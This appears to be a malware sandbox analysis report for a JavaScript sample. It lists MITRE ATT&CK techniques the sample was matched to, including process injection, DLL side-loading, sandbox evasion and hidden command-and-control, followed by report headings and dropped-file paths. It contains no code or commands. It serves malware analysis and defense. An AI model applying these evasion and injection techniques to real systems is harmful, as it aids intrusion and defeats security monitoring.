Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 305861283730376077.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cfed94ef-b0f6-4c8e-a4c7-fd4eb75eeb47.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
305861283730376077.js